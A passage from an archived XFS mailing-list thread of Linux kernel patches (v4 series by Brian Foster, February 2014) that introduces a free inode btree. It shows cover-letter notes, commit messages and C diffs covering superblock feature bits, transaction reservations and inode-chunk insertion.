xfs_calc_icreate_resv_alloc( @@ -322,7 +366,8 @@ xfs_calc_icreate_resv_alloc( mp->m_sb.sb_sectsize + xfs_calc_buf_res(mp->m_in_maxlevels, XFS_FSB_TO_B(mp, 1)) + xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), - XFS_FSB_TO_B(mp, 1)); + XFS_FSB_TO_B(mp, 1)) + + xfs_calc_finobt_res(mp, 0, 0); } STATIC uint @@ -376,6 +421,7 @@ xfs_calc_symlink_reservation( * the on disk inode before ours in the agi hash list: inode cluster size * the inode btree: max depth * blocksize * the allocation btrees: 2 trees * (max depth - 1) * block size + * the finobt (record insertion, removal or modification) */ STATIC uint xfs_calc_ifree_reservation( @@ -390,7 +436,8 @@ xfs_calc_ifree_reservation( xfs_calc_buf_res(2 + mp->m_ialloc_blks + mp->m_in_maxlevels, 0) + xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), - XFS_FSB_TO_B(mp, 1)); + XFS_FSB_TO_B(mp, 1)) + + xfs_calc_finobt_res(mp, 0, 1); } /* diff --git a/fs/xfs/xfs_trans_space.h b/fs/xfs/xfs_trans_space.h index af5dbe0..df4c1f8 100644 --- a/fs/xfs/xfs_trans_space.h +++ b/fs/xfs/xfs_trans_space.h @@ -47,7 +47,9 @@ #define XFS_DIRREMOVE_SPACE_RES(mp) \ XFS_DAREMOVE_SPACE_RES(mp, XFS_DATA_FORK) #define XFS_IALLOC_SPACE_RES(mp) \ - ((mp)->m_ialloc_blks + (mp)->m_in_maxlevels - 1) + ((mp)->m_ialloc_blks + \ + (xfs_sb_version_hasfinobt(&mp->m_sb) ? 2 : 1 * \ + ((mp)->m_in_maxlevels - 1))) /* * Space reservation values for various transactions. @@ -82,5 +84,8 @@ (XFS_DIRREMOVE_SPACE_RES(mp) + XFS_DIRENTER_SPACE_RES(mp,nl)) #define XFS_SYMLINK_SPACE_RES(mp,nl,b) \ (XFS_IALLOC_SPACE_RES(mp) + XFS_DIRENTER_SPACE_RES(mp,nl) + (b)) +#define XFS_IFREE_SPACE_RES(mp) \ + (xfs_sb_version_hasfinobt(&mp->m_sb) ? (mp)->m_in_maxlevels : 0) + #endif /* __XFS_TRANS_SPACE_H__ */ -- 1.8.3.1 From bfoster@redhat.com Mon Feb 24 09:11:14 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 3DDBA7F52 for ; Mon, 24 Feb 2014 09:11:14 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id BF503AC005 for ; Mon, 24 Feb 2014 07:11:13 -0800 (PST) X-ASG-Debug-ID: 1393254672-04cb6c6de175f150001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id P2PNFXRyKHhGruwj for ; Mon, 24 Feb 2014 07:11:12 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx12.intmail.prod.int.phx2.redhat.com (int-mx12.intmail.prod.int.phx2.redhat.com [10.5.11.25]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1OFB4UW028007 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Mon, 24 Feb 2014 10:11:09 -0500 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx12.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s1OEU4QD004027 for ; Mon, 24 Feb 2014 09:30:04 -0500 Received: by bfoster.bfoster (Postfix, from userid 1000) id 35D6B124491; Mon, 24 Feb 2014 09:30:03 -0500 (EST) From: Brian Foster To: xfs@oss.sgi.com Subject: [PATCH v4 02/11] xfs: reserve v5 superblock read-only compat. feature bit for finobt Date: Mon, 24 Feb 2014 09:29:54 -0500 X-ASG-Orig-Subj: [PATCH v4 02/11] xfs: reserve v5 superblock read-only compat. feature bit for finobt Message-Id: <1393252203-7423-3-git-send-email-bfoster@redhat.com> In-Reply-To: <1393252203-7423-1-git-send-email-bfoster@redhat.com> References: <1393252203-7423-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1393254672 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Reserve a v5 read-only compatibility feature bit for the finobt and create the xfs_sb_version_hasfinobt() helper to determine whether an fs has the feature enabled. The finobt does not change existing on-disk structures, but must remain consistent with the ialloc btree. Modifications from older kernels would violate that constrant. Therefore, we restrict older kernels to read-only mounts of finobt-enabled filesystems. Note that this does not yet enable the ability to rw mount a finobt fs (by setting the feature bit in the XFS_SB_FEAT_RO_COMPAT_ALL mask). Reviewed-by: Dave Chinner Signed-off-by: Brian Foster --- fs/xfs/xfs_sb.h | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/fs/xfs/xfs_sb.h b/fs/xfs/xfs_sb.h index 35061d4..070a7f6 100644 --- a/fs/xfs/xfs_sb.h +++ b/fs/xfs/xfs_sb.h @@ -585,6 +585,7 @@ xfs_sb_has_compat_feature( return (sbp->sb_features_compat & feature) != 0; } +#define XFS_SB_FEAT_RO_COMPAT_FINOBT (1 << 0) /* free inode btree */ #define XFS_SB_FEAT_RO_COMPAT_ALL 0 #define XFS_SB_FEAT_RO_COMPAT_UNKNOWN ~XFS_SB_FEAT_RO_COMPAT_ALL static inline bool @@ -639,6 +640,12 @@ static inline int xfs_sb_version_hasftype(struct xfs_sb *sbp) (sbp->sb_features2 & XFS_SB_VERSION2_FTYPE)); } +static inline int xfs_sb_version_hasfinobt(xfs_sb_t *sbp) +{ + return (XFS_SB_VERSION_NUM(sbp) == XFS_SB_VERSION_5) && + (sbp->sb_features_ro_compat & XFS_SB_FEAT_RO_COMPAT_FINOBT); +} + /* * end of superblock version macros */ -- 1.8.3.1 From bfoster@redhat.com Mon Feb 24 09:20:26 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 456067F52 for ; Mon, 24 Feb 2014 09:20:26 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 3847E304066 for ; Mon, 24 Feb 2014 07:20:26 -0800 (PST) X-ASG-Debug-ID: 1393255225-04cb6c06cf44ad80001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 5emgJqTaQcyBh5ud for ; Mon, 24 Feb 2014 07:20:25 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1OFKJCi032437 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Mon, 24 Feb 2014 10:20:24 -0500 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s1OEU4Et032633 for ; Mon, 24 Feb 2014 09:30:05 -0500 Received: by bfoster.bfoster (Postfix, from userid 1000) id B1E8812455E; Mon, 24 Feb 2014 09:30:03 -0500 (EST) From: Brian Foster To: xfs@oss.sgi.com Subject: [PATCH v4 11/11] xfs: enable the finobt feature on v5 superblocks Date: Mon, 24 Feb 2014 09:30:03 -0500 X-ASG-Orig-Subj: [PATCH v4 11/11] xfs: enable the finobt feature on v5 superblocks Message-Id: <1393252203-7423-12-git-send-email-bfoster@redhat.com> In-Reply-To: <1393252203-7423-1-git-send-email-bfoster@redhat.com> References: <1393252203-7423-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1393255225 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Add the finobt feature bit to the list of known features. As of this point, the kernel code knows how to mount and manage both finobt and non-finobt formatted filesystems. Reviewed-by: Dave Chinner Signed-off-by: Brian Foster --- fs/xfs/xfs_sb.h | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/fs/xfs/xfs_sb.h b/fs/xfs/xfs_sb.h index 070a7f6..9919fb8 100644 --- a/fs/xfs/xfs_sb.h +++ b/fs/xfs/xfs_sb.h @@ -586,7 +586,8 @@ xfs_sb_has_compat_feature( } #define XFS_SB_FEAT_RO_COMPAT_FINOBT (1 << 0) /* free inode btree */ -#define XFS_SB_FEAT_RO_COMPAT_ALL 0 +#define XFS_SB_FEAT_RO_COMPAT_ALL \ + (XFS_SB_FEAT_RO_COMPAT_FINOBT) #define XFS_SB_FEAT_RO_COMPAT_UNKNOWN ~XFS_SB_FEAT_RO_COMPAT_ALL static inline bool xfs_sb_has_ro_compat_feature( -- 1.8.3.1 From bfoster@redhat.com Mon Feb 24 09:20:34 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id C695E7F57 for ; Mon, 24 Feb 2014 09:20:34 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id AEEC58F8039 for ; Mon, 24 Feb 2014 07:20:31 -0800 (PST) X-ASG-Debug-ID: 1393255230-04cbb00c2b759c30001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id DLNAh2QGPoSh8L6x for ; Mon, 24 Feb 2014 07:20:30 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1OFKJCm032437 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Mon, 24 Feb 2014 10:20:27 -0500 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s1OEU468032621 for ; Mon, 24 Feb 2014 09:30:04 -0500 Received: by bfoster.bfoster (Postfix, from userid 1000) id 1EAD7124484; Mon, 24 Feb 2014 09:30:03 -0500 (EST) From: Brian Foster To: xfs@oss.sgi.com Subject: [PATCH v4 00/11] xfs: introduce the free inode btree Date: Mon, 24 Feb 2014 09:29:52 -0500 X-ASG-Orig-Subj: [PATCH v4 00/11] xfs: introduce the free inode btree Message-Id: <1393252203-7423-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1393255230 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Hi all, Here's the latest update of the finobt work. This series includes fixes based on review of v3: http://oss.sgi.com/archives/xfs/2014-02/msg00121.html The primary changes in v4 are fixes to the transaction reservation calculations for inode management, a refactoring of the finobt-based inode allocation algorithm into smaller helper functions and the addition of a warning in the unlikely scenario of reserve block pool exhaustion due to ifree transactions (inode eviction). Minor fixes and comment cleanups are included as requested in review for v3. Thoughts, reviews and flames appreciated. Brian v4: - Fixed up comments associated with separation of the AGI into separate logging regions. - Added warning on ENOSPC failure of ifree reservation and comment describing reasoning for ifree being reserve-enabled. - Removed finobt res. from xfs_calc_create_resv_alloc() (v4 sb only). - Updated xfs_calc_finobt_res() to account for free space btrees and enable for inode alloc. record modification scenario. - Renamed xfs_dialloc_ag_slow() to xfs_dialloc_ag_inobt(). - Refactored the inode allocation algorithm into several smaller helper functions. - Fixed up comments in xfs_difree_finobt(). v3: - Rebased to latest master. - Fixed up unused variable warning in xfs_difree_inobt(). - Replaced a few more typedefs. v2: - Rebase to latest xfs tree (minor shifting around of some header bits). - Added "xfs: report finobt status in fs geometry" patch to series. v1: - Separate patch to enable rw finobt support at end of series. - Rework xfs_ialloc_log_agi() to log the agi in two distinct regions. - Rework xfs_ialloc_btree.c changes to use separate finobt handlers where appropriate. - Fix bug to show fibt2 stats data in stat proc file. - Move finobt log reservation calculations into separate helper, made conditional and merged to a single patch. - Use reserved block pool in xfs_inactive() codepath instead of flush. - Moved and cleaned up xfs_inobt_insert() to use inobt helpers. - Enhanced lookup algorithm for allocation (xfs_dialloc_ag()). - Refactored xfs_difree() to use xfs_difree_inobt() and xfs_difree_finobt(), cleaned up the latter. Brian Foster (11): xfs: refactor xfs_ialloc_btree.c to support multiple inobt numbers xfs: reserve v5 superblock read-only compat. feature bit for finobt xfs: support the XFS_BTNUM_FINOBT free inode btree type xfs: update inode allocation/free transaction reservations for finobt xfs: insert newly allocated inode chunks into the finobt xfs: use and update the finobt on inode allocation xfs: refactor xfs_difree() inobt bits into xfs_difree_inobt() helper xfs: update the finobt on inode free xfs: add finobt support to growfs xfs: report finobt status in fs geometry xfs: enable the finobt feature on v5 superblocks fs/xfs/xfs_ag.h | 36 ++- fs/xfs/xfs_btree.c | 6 +- fs/xfs/xfs_btree.h | 3 + fs/xfs/xfs_format.h | 14 +- fs/xfs/xfs_fs.h | 1 + fs/xfs/xfs_fsops.c | 36 ++- fs/xfs/xfs_ialloc.c | 695 +++++++++++++++++++++++++++++++++++++++------- fs/xfs/xfs_ialloc_btree.c | 68 ++++- fs/xfs/xfs_ialloc_btree.h | 3 +- fs/xfs/xfs_inode.c | 25 +- fs/xfs/xfs_itable.c | 6 +- fs/xfs/xfs_log_recover.c | 2 + fs/xfs/xfs_sb.h | 10 +- fs/xfs/xfs_stats.c | 1 + fs/xfs/xfs_stats.h | 18 +- fs/xfs/xfs_trans_resv.c | 53 +++- fs/xfs/xfs_trans_space.h | 7 +- fs/xfs/xfs_types.h | 2 +- 18 files changed, 850 insertions(+), 136 deletions(-) -- 1.8.3.1 From bfoster@redhat.com Mon Feb 24 09:20:36 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 2D06D7F57 for ; Mon, 24 Feb 2014 09:20:36 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id F182D304064 for ; Mon, 24 Feb 2014 07:20:35 -0800 (PST) X-ASG-Debug-ID: 1393255234-04bdf00fc9349360001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id zLEmObRdGCHNWlki for ; Mon, 24 Feb 2014 07:20:34 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1OFKJCo032437 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Mon, 24 Feb 2014 10:20:31 -0500 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s1OEU4Er032633 for ; Mon, 24 Feb 2014 09:30:04 -0500 Received: by bfoster.bfoster (Postfix, from userid 1000) id 61C9612452B; Mon, 24 Feb 2014 09:30:03 -0500 (EST) From: Brian Foster To: xfs@oss.sgi.com Subject: [PATCH v4 05/11] xfs: insert newly allocated inode chunks into the finobt Date: Mon, 24 Feb 2014 09:29:57 -0500 X-ASG-Orig-Subj: [PATCH v4 05/11] xfs: insert newly allocated inode chunks into the finobt Message-Id: <1393252203-7423-6-git-send-email-bfoster@redhat.com> In-Reply-To: <1393252203-7423-1-git-send-email-bfoster@redhat.com> References: <1393252203-7423-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1393255234 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 A newly allocated inode chunk, by definition, has at least one free inode, so a record is always inserted into the finobt. Create the xfs_inobt_insert() helper from existing code to insert a record in an inobt based on the provided BTNUM. Update xfs_ialloc_ag_alloc() to invoke the helper for the existing XFS_BTNUM_INO tree and XFS_BTNUM_FINO tree, if enabled. Reviewed-by: Dave Chinner Signed-off-by: Brian Foster --- fs/xfs/xfs_ialloc.c | 93 ++++++++++++++++++++++++++++++++++++++++------------- 1 file changed, 70 insertions(+), 23 deletions(-) diff --git a/fs/xfs/xfs_ialloc.c b/fs/xfs/xfs_ialloc.c index 2bd04c1..3fdb9fb 100644 --- a/fs/xfs/xfs_ialloc.c +++ b/fs/xfs/xfs_ialloc.c @@ -112,6 +112,66 @@ xfs_inobt_get_rec( } /* + * Insert a single inobt record. Cursor must already point to desired location. + */ +STATIC int +xfs_inobt_insert_rec( + struct xfs_btree_cur *cur, + __int32_t freecount, + xfs_inofree_t free, + int *stat) +{ + cur->bc_rec.i.ir_freecount = freecount; + cur->bc_rec.i.ir_free = free; + return xfs_btree_insert(cur, stat); +} + +/* + * Insert records describing a newly allocated inode chunk into the inobt. + */ +STATIC int +xfs_inobt_insert( + struct xfs_mount *mp, + struct xfs_trans *tp, + struct xfs_buf *agbp, + xfs_agino_t newino, + xfs_agino_t newlen, + xfs_btnum_t btnum) +{ + struct xfs_btree_cur *cur; + struct xfs_agi *agi = XFS_BUF_TO_AGI(agbp); + xfs_agnumber_t agno = be32_to_cpu(agi->agi_seqno); + xfs_agino_t thisino; + int i; + int error; + + cur = xfs_inobt_init_cursor(mp, tp, agbp, agno, btnum); + + for (thisino = newino; + thisino < newino + newlen; + thisino += XFS_INODES_PER_CHUNK) { + error = xfs_inobt_lookup(cur, thisino, XFS_LOOKUP_EQ, &i); + if (error) { + xfs_btree_del_cursor(cur, XFS_BTREE_ERROR); + return error; + } + ASSERT(i == 0); + + error = xfs_inobt_insert_rec(cur, XFS_INODES_PER_CHUNK, + XFS_INOBT_ALL_FREE, &i); + if (error) { + xfs_btree_del_cursor(cur, XFS_BTREE_ERROR); + return error; + } + ASSERT(i == 1); + } + + xfs_btree_del_cursor(cur, XFS_BTREE_NOERROR); + + return 0; +} + +/* * Verify that the number of free inodes in the AGI is correct. */ #ifdef DEBUG @@ -303,13 +363,10 @@ xfs_ialloc_ag_alloc( { xfs_agi_t *agi; /* allocation group header */ xfs_alloc_arg_t args; /* allocation argument structure */ - xfs_btree_cur_t *cur; /* inode btree cursor */ xfs_agnumber_t agno; int error; - int i; xfs_agino_t newino; /* new first inode's number */ xfs_agino_t newlen; /* new number of inodes */ - xfs_agino_t thisino; /* current inode number, for loop */ int isaligned = 0; /* inode allocation at stripe unit */ /* boundary */ struct xfs_perag *pag; @@ -447,29 +504,19 @@ xfs_ialloc_ag_alloc( agi->agi_newino = cpu_to_be32(newino); /* - * Insert records describing the new inode chunk into the btree. + * Insert records describing the new inode chunk into the btrees. */ - cur = xfs_inobt_init_cursor(args.mp, tp, agbp, agno, XFS_BTNUM_INO); - for (thisino = newino; - thisino < newino + newlen; - thisino += XFS_INODES_PER_CHUNK) { - cur->bc_rec.i.ir_startino = thisino; - cur->bc_rec.i.ir_freecount = XFS_INODES_PER_CHUNK; - cur->bc_rec.i.ir_free = XFS_INOBT_ALL_FREE; - error = xfs_btree_lookup(cur, XFS_LOOKUP_EQ, &i); - if (error) { - xfs_btree_del_cursor(cur, XFS_BTREE_ERROR); - return error; - } - ASSERT(i == 0); - error = xfs_btree_insert(cur, &i); - if (error) { - xfs_btree_del_cursor(cur, XFS_BTREE_ERROR); + error = xfs_inobt_insert(args.mp, tp, agbp, newino, newlen, + XFS_BTNUM_INO); + if (error) + return error; + + if (xfs_sb_version_hasfinobt(&args.mp->m_sb)) { + error = xfs_inobt_insert(args.mp, tp, agbp, newino, newlen, + XFS_BTNUM_FINO); + if (error) return error; - } - ASSERT(i == 1); } - xfs_btree_del_cursor(cur, XFS_BTREE_NOERROR); /* * Log allocation group header fields */ -- 1.8.3.1 From bfoster@redhat.com Mon Feb 24 09:20:39 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id CBE3B7F57 for ; Mon, 24 Feb 2014 09:20:38 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 6C3AEAC002 for ; Mon, 24 Feb 2014 07:20:38 -0800 (PST) X-ASG-Debug-ID: 1393255237-04bdf00fc0349370001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id k6Ucgoi1zucYdB9K for ; Mon, 24 Feb 2014 07:20:37 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1OFKJCs032437 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Mon, 24 Feb 2014 10:20:36 -0500 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s1OEU4l7032623 for ; Mon, 24 Feb 2014 09:30:04 -0500 Received: by bfoster.bfoster (Postfix, from userid 1000) id 446B21244B3; Mon, 24 Feb 2014 09:30:03 -0500 (EST) From: Brian Foster To: xfs@oss.sgi.com Subject: [PATCH v4 03/11] xfs: support the XFS_BTNUM_FINOBT free inode btree type Date: Mon, 24 Feb 2014 09:29:55 -0500 X-ASG-Orig-Subj: [PATCH v4 03/11] xfs: support the XFS_BTNUM_FINOBT free inode btree type Message-Id: <1393252203-7423-4-git-send-email-bfoster@redhat.com> In-Reply-To: <1393252203-7423-1-git-send-email-bfoster@redhat.com> References: <1393252203-7423-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1393255237 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Define the AGI fields for the finobt root/level and add magic numbers. Update the btree code to add support for the new XFS_BTNUM_FINOBT inode btree. The finobt root block is reserved immediately following the inobt root block in the AG. Update XFS_PREALLOC_BLOCKS() to determine the starting AG data block based on whether finobt support is enabled. Signed-off-by: Brian Foster --- fs/xfs/xfs_ag.h | 36 +++++++++++++++++----------- fs/xfs/xfs_btree.c | 6 +++-- fs/xfs/xfs_btree.h | 3 +++ fs/xfs/xfs_format.h | 14 ++++++++++- fs/xfs/xfs_ialloc.c | 38 +++++++++++++++++++++++++----- fs/xfs/xfs_ialloc_btree.c | 60 +++++++++++++++++++++++++++++++++++++++++++++-- fs/xfs/xfs_log_recover.c | 2 ++ fs/xfs/xfs_stats.c | 1 + fs/xfs/xfs_stats.h | 18 +++++++++++++- fs/xfs/xfs_types.h | 2 +- 10 files changed, 153 insertions(+), 27 deletions(-) diff --git a/fs/xfs/xfs_ag.h b/fs/xfs/xfs_ag.h index 3fc1098..c121a87 100644 --- a/fs/xfs/xfs_ag.h +++ b/fs/xfs/xfs_ag.h @@ -158,28 +158,36 @@ typedef struct xfs_agi { * still being referenced. */ __be32 agi_unlinked[XFS_AGI_UNLINKED_BUCKETS]; - + /* + * This marks the end of logging region 1 and start of logging region 2. + */ uuid_t agi_uuid; /* uuid of filesystem */ __be32 agi_crc; /* crc of agi sector */ __be32 agi_pad32; __be64 agi_lsn; /* last write sequence */ + __be32 agi_free_root; /* root of the free inode btree */ + __be32 agi_free_level;/* levels in free inode btree */ + /* structure must be padded to 64 bit alignment */ } xfs_agi_t; -#define XFS_AGI_MAGICNUM 0x00000001 -#define XFS_AGI_VERSIONNUM 0x00000002 -#define XFS_AGI_SEQNO 0x00000004 -#define XFS_AGI_LENGTH 0x00000008 -#define XFS_AGI_COUNT 0x00000010 -#define XFS_AGI_ROOT 0x00000020 -#define XFS_AGI_LEVEL 0x00000040 -#define XFS_AGI_FREECOUNT 0x00000080 -#define XFS_AGI_NEWINO 0x00000100 -#define XFS_AGI_DIRINO 0x00000200 -#define XFS_AGI_UNLINKED 0x00000400 -#define XFS_AGI_NUM_BITS 11 -#define XFS_AGI_ALL_BITS ((1 << XFS_AGI_NUM_BITS) - 1) +#define XFS_AGI_MAGICNUM (1 << 0) +#define XFS_AGI_VERSIONNUM (1 << 1) +#define XFS_AGI_SEQNO (1 << 2) +#define XFS_AGI_LENGTH (1 << 3) +#define XFS_AGI_COUNT (1 << 4) +#define XFS_AGI_ROOT (1 << 5) +#define XFS_AGI_LEVEL (1 << 6) +#define XFS_AGI_FREECOUNT (1 << 7) +#define XFS_AGI_NEWINO (1 << 8) +#define XFS_AGI_DIRINO (1 << 9) +#define XFS_AGI_UNLINKED (1 << 10) +#define XFS_AGI_NUM_BITS_R1 11 /* end of the 1st agi logging region */ +#define XFS_AGI_ALL_BITS_R1 ((1 << XFS_AGI_NUM_BITS_R1) - 1) +#define XFS_AGI_FREE_ROOT (1 << 11) +#define XFS_AGI_FREE_LEVEL (1 << 12) +#define XFS_AGI_NUM_BITS_R2 13 /* disk block (xfs_daddr_t) in the AG */ #define XFS_AGI_DADDR(mp) ((xfs_daddr_t)(2 << (mp)->m_sectbb_log)) diff --git a/fs/xfs/xfs_btree.c b/fs/xfs/xfs_btree.c index 9adaae4..ee79f1e 100644 --- a/fs/xfs/xfs_btree.c +++ b/fs/xfs/xfs_btree.c @@ -43,9 +43,10 @@ kmem_zone_t *xfs_btree_cur_zone; * Btree magic numbers. */ static const __uint32_t xfs_magics[2][XFS_BTNUM_MAX] = { - { XFS_ABTB_MAGIC, XFS_ABTC_MAGIC, XFS_BMAP_MAGIC, XFS_IBT_MAGIC }, + { XFS_ABTB_MAGIC, XFS_ABTC_MAGIC, XFS_BMAP_MAGIC, XFS_IBT_MAGIC, + XFS_FIBT_MAGIC }, { XFS_ABTB_CRC_MAGIC, XFS_ABTC_CRC_MAGIC, - XFS_BMAP_CRC_MAGIC, XFS_IBT_CRC_MAGIC } + XFS_BMAP_CRC_MAGIC, XFS_IBT_CRC_MAGIC, XFS_FIBT_CRC_MAGIC } }; #define xfs_btree_magic(cur) \ xfs_magics[!!((cur)->bc_flags & XFS_BTREE_CRC_BLOCKS)][cur->bc_btnum] @@ -1117,6 +1118,7 @@ xfs_btree_set_refs( xfs_buf_set_ref(bp, XFS_ALLOC_BTREE_REF); break; case XFS_BTNUM_INO: + case XFS_BTNUM_FINO: xfs_buf_set_ref(bp, XFS_INO_BTREE_REF); break; case XFS_BTNUM_BMAP: diff --git a/fs/xfs/xfs_btree.h b/fs/xfs/xfs_btree.h index 91e34f2..d2ac586 100644 --- a/fs/xfs/xfs_btree.h +++ b/fs/xfs/xfs_btree.h @@ -62,6 +62,7 @@ union xfs_btree_rec { #define XFS_BTNUM_CNT ((xfs_btnum_t)XFS_BTNUM_CNTi) #define XFS_BTNUM_BMAP ((xfs_btnum_t)XFS_BTNUM_BMAPi) #define XFS_BTNUM_INO ((xfs_btnum_t)XFS_BTNUM_INOi) +#define XFS_BTNUM_FINO ((xfs_btnum_t)XFS_BTNUM_FINOi) /* * For logging record fields. @@ -92,6 +93,7 